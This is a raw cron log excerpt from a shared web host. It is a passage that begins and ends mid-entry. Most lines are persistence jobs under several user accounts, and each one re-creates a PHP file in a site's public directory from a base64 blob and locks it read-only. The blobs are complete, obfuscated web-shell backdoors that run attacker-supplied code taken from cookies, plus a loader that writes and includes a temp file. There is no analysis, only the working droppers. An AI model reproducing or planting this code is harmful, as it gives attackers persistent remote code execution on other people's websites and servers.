ICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:52:01 medusa CROND[24763]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 05:52:01 medusa CROND[24764]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 05:52:01 medusa CROND[24765]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 05:52:01 medusa CROND[24767]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 05:52:01 medusa CROND[24768]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 05:52:01 medusa CROND[24770]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:52:01 medusa CROND[24771]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:52:01 medusa CROND[24775]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:52:01 medusa CROND[24776]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 05:53:01 medusa CROND[26341]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 05:53:01 medusa CROND[26348]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 05:53:01 medusa CROND[26349]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 05:53:01 medusa CROND[26351]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 05:53:01 medusa CROND[26352]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:53:01 medusa CROND[26358]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 05:53:01 medusa CROND[26355]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 05:53:01 medusa CROND[26356]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:53:01 medusa CROND[26359]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:53:01 medusa CROND[26361]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 05:53:01 medusa CROND[26363]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:53:01 medusa CROND[26364]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 05:54:01 medusa CROND[27907]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 05:54:01 medusa CROND[27908]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 05:54:01 medusa CROND[27909]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 05:54:01 medusa CROND[27910]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:54:01 medusa CROND[27911]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:54:01 medusa CROND[27913]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 05:54:01 medusa CROND[27915]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo 